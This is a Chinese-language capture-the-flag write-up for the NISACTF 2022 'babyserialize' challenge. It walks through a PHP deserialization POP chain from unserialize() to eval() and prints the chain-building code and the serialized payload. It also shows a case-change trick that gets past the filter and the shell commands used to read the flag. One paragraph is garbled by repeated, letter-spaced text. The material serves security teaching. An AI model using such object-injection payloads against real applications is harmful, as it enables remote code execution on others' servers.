[NISACTF 2022]babyserialize
文章目录
源码展示:
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
一、构造pop链
观察源码发现有多个类,即有多个class定义,NISA、TianXiWei、Ilovetxw、four这四个都是类,由此可以判断出来,该题应该是反序列化中的构造pop链的题目。
POP链:POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。
反序列化利用就是要找到合适的POP链。其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造POP链达到攻击的目的。
构造pop链方法:从链尾反推到链头即可构造!!!
1、构造pop链第一步,寻找链头
链头特征:能够被输入内容的并且能被用户所控制的
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
代码详解
if判断,isset()检测变量是否已设置并且非 NULL,$_GET通过GET方法进行传参,使用ser接收传入的内容
总的来说就是,isset()判断通过GET方式传入的内容是否为空,如果不为空返回1,if(1)为真,执行if后的内容。若为空,返回0,if(0)为假,执行else的部分
unserialize()反序列化传入的内容
highlight_file(__FILE__)高亮文件中的语法
ser是能被输入内容的,并且能被我们控制,即我们可以输入任意的内容而不被限制,所以ser就是链头
在 PHP 中,@ 符号是用来忽略错误报告的操作符。当在一个表达式前面加上 @ 符号时,如果该表达式产生错误,PHP 将不会将错误信息显示出来,以避免错误信息泄漏给最终用户。这可以在某些情况下增加代码的可读性和安全性,但如果被滥用,也会隐藏掉一些可能的错误,使得调试变得困难。因此,使用 @ 符号应该谨慎,并且在必要的时候使用其他适当的错误处理机制。
在PHP中,
__FILE__
是一个魔术常量,它返回当前文件的完整路径和文件名。当在一个脚本中使用__FILE__
时,它将被替换为当前文件的实际路径,在上述代码中,highlight_file(__FILE__)
表示对当前文件进行语法高亮显示。这样可以让我们在浏览器中查看和分析当前文件的代码。
2、构造pop链第二步,寻找链尾
链尾特征:可以读取文件或者能够执行命令的
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
代码详解
public function定义方法,__invoke是一个魔术方法
__invoke() //当脚本尝试将对象调用为函数时触发
checkcheck()是自定义的一个函数,在后面的注释中含有,后面再来具体解释该方法
eval()内置函数,把字符串作为PHP代码执行
$this代表类,这段代码处在NISA类中,即$this代表NISA,txw4ever是类中的一个属性,$this->txw4ever代表类调用它自身的属性,
eval就可以满足链尾特征,执行命令,试想,我们如果能传入system('ls')的命令,就可以列出当前目录下的文件。
这里提到了两个名词,方法和函数,能分清楚的可以跳过
方法是类里的"函数",只能通过对象调用,
特别的,类的静态方法能够通过类名直接调用.
平常说的函数,应该是全局作用域里的函数,引入后可以在任何地方直接调用.函数是单独存在的,也就是面向过程部分定义的。
方法是依赖于类存在的,也就是面向对象中定义的。
3、构造pop链第三步,反推——标注
此时我们找到了链尾,正式开始构造pop链,从链尾反推到链头,由于我们要将命令给到eval执行以此拿到flag,所以$this->txw4ever
就是我们想要传入命令的载体,即我们需要将命令传入$this->txw4ever
此时我们标注好要传入的位置
1代表第一步,shell代表我们将传入一个类似shell的东西
标注好后,回到链尾,往eval上面看,发现需要触发__invoke()函数
__invoke() //当脚本尝试将对象调用为函数时触发
将对象调用为函数时触发,我们首先要分清楚,长什么样子的东西是函数
我们知道函数的组成是函数名加()组成
而有效的函数名以字母或下划线打头,后面跟字母,数字或下划线
所以函数类似a()这种样子
但是我们需要将对象调用为函数,那如何让函数变成对象呢?
()无法改变,只能从函数名做手脚,如果改为变量的形式,那么将对象赋给变量,就将对象变为了函数
比如 a ( ) , a(), a(),a被赋为对象,就实现了上述要求。
所以我们需要找到代码中存在$a()这种模样的位置。
$bb()是我们需要的,我们需要它被赋为对象,就需要找到传入它的参数,su就是传入它的参数,所以我们需要控制它的内容,此时我们需要标注好它,正好它就在Ilovetxw中
2代表第二步,传入su的内容,根据上面的分析,需要传入一个对象,传入什么对象呢?由于刚刚我们是需要触发__invoke
魔术方法,所以我们需要传入__invoke
对应的对象,它在NISA这个类中,我们先标注为NISA,后面传入new NISA()即可。
我们接着往su的上面看,需要执行上面我们分析的内容,就需要执行__toString这个魔术方法
__toString() //把对象当作字符串使用时触发
寻找到strtolower这个函数,这个函数会将字符串转化为小写,当我们将传入的参数a赋为一个对象,这个函数就会将这个对象当作字符串来进行小写的转化,这样就会触发__toString()
往上看,需要触发strtolower这个函数,需要通过if判断,fun为sixsixsix,我们将$fun中的abc改为sixsixsix即可
知道private的可以跳过该部分
private:声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上\0\0前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
所以我们在反序列化时,不能直接序列化后复制,需补全不可见字符\00,并且将不是public的,字符串里的类型字母改为大写
后面正式构造payload的时候再次细讲
经过上面的分析,我们需要传入部分包括 a 和 a和 a和fun,进行标注
我们需要触发的__toString()在Ilovetxw中,所以标注Ilovetxw
然后往上看,要执行上面分析的内容,需要触发__set()
__set()
//用于将数据写入不可访问的属性即对不存在或者不可访问的属性进行赋值就会自动调用
找到fun,$this->huang,Ilovetxw调用huang这个属性,这个属性的值再调用fun,调用只有类和对象能做,所以根据上面要触发__set(),huang的赋值应为four这个类的对象,new four->fun,即four调用fun
问题来了,four中有fun,这样不就存在该属性,可以正常赋值了,怎么触发__set()呢?
注意four中的$fun是私有属性,不允许外部调用,所以该属性还是不存在所以可以触发__set()
此时我们如何标注,因为我们要触发的__set()在four中,所以给huang赋为four类的对象,标注为four
受保护的属性和私有属性不允许外部调用,在类的成员方法内部是可以调用的。
要触发上面分析的内容,需要触发__call()方法
__call() //在对象上下文中调用不可访问的方法时触发
找到nisa()这个方法,该方法不存在,无法调用
标注为Ilovetxw,串起来,$this->ext为new Ilovetxw(),Ilovetxw去调用该方法,但在Ilovetxw中不存在该方法,可以触发__call()
上面的分析触发,需要__wakeup()
__wakeup() //使用unserialize时触发
这样就回到了链头
自此,链尾反推链头结束
POP链串好
二、构造payload
1、首先复制源码到编辑器中
将不需要的部分注释掉(和赋值无关的都注释掉)
2、添加pop链和序列化代码
根据前面我们的分析,从pop链的链尾开始赋值
$s=new NISA();
$s->txw4ever = "system('ls');";
$t=new Ilovetxw();
$t->su = $s;
$h=new four();
$h->a = $t;
$t=new Ilovetxw();
$t->huang = $h;
$m=new TianXiWei();
$m->ext=$t;
echo serialize($m);
得到的序列化字符串
根据我们前面说的私有字段,序列化后,会有不可见字符,在我的编辑器中用<0x00>代表,我们需要将<0x00>替换为\00才能使用
O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";O:8:"Ilovetxw":2:{s:5:"huang";N;s:2:"su";O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";s:13:"system('ls');";}}s:9:"\00four\00fun";s:9:"sixsixsix";}s:2:"su";N;}s:1:"x";N;}
当然你可以直接
echo urlencode(serialize($m))
转为url编码,就能直接复制,无需添加\00
注意,不可如此赋值
这里犯了一个致命错误,我们是链,就是有联系的,连在一起的,这样赋值直接没有了联系
序列化后的字符串,可以看到到huang那里就没有了下一对象的信息,说明链从这里断掉了
因为序列化 m , m 被赋值为 T i a n X i W e i 的对象, T i a n X i W e i 中的属性 e x t 被赋值了 I l o v e t x w 的对象,从这就断掉了,你只实例化了类,却没有给这个类中的属性赋任何值,而之后的 m,m被赋值为TianXiWei的对象,TianXiWei中的属性ext被赋值了Ilovetxw的对象,从这就断掉了,你只实例化了类,却没有给这个类中的属性赋任何值,而之后的 m,m被赋值为TianXiWei的对象,TianXiWei中的属性ext被赋值了Ilovetxw的对象,从这就断掉了,你只实例化了类,却没有给这个类中的属性赋任何值,而之后的t中的各种赋值又是单独存在的,所以链并没有串起来
验证payload,发现只给了我们flag在根目录的提示
原因是我们忽略了,反序列化时会触发NISA()中的__wakeup()
这里可能有人要问了,我们传给serialize()函数的是TianXiWei,再把字符串到靶场中unserialize(),应该只触发TianXiWei中的__wakeup()
怎么会触发NISA()中__wakeup()呢?
原因如下:
我们传入给serialize()的TianXiWei是pop链的链头,整个pop链都被序列化了,然后整个pop链又被反序列化,首先触发的肯定是链头的__wakeup()
但是反序列化又不是只反序列化链头,等到反序列化到NISA()的__wakeup时自然会触发
这时$fun的值为show_me_flag,满足__wakeup()中if,直接调用hint()方法,我们根据源码最后的注释内容可以看到,hint()方法echo了一些东西,echo的就是flag is in /,只不过采用……隐藏了
所以我们就将$fun的值改变就好了
再次验证payload,发现something wrong
根据源码最后的注释部分,preg_match()过滤了一些东西
preg_match()是用来正则匹配的,如果匹配成功,就显示something wrong并终止程序
但是我们看不到它过滤了哪些字符,所以只能一个个试了
采用大小写绕过
System
成功绕过,有两个文件
查看index.php,就是源码,什么也没有
查看waf.php,页面什么也没有,查看源代码,发现注释中隐藏的内容
过滤了管道符|
等等
我们结合之前给的提示flag is in /,我们就cd /并且ls,列出根目录中的内容,由于管道符|被过滤了,所以我们使用&
可以看到flag文件为fllllllaaag
直接查看文件,cat /fllllllaaag,
或者先进入根目录,再查看
得到flag
参考博客
https://blog.youkuaiyun.com/Myon5/article/details/131565599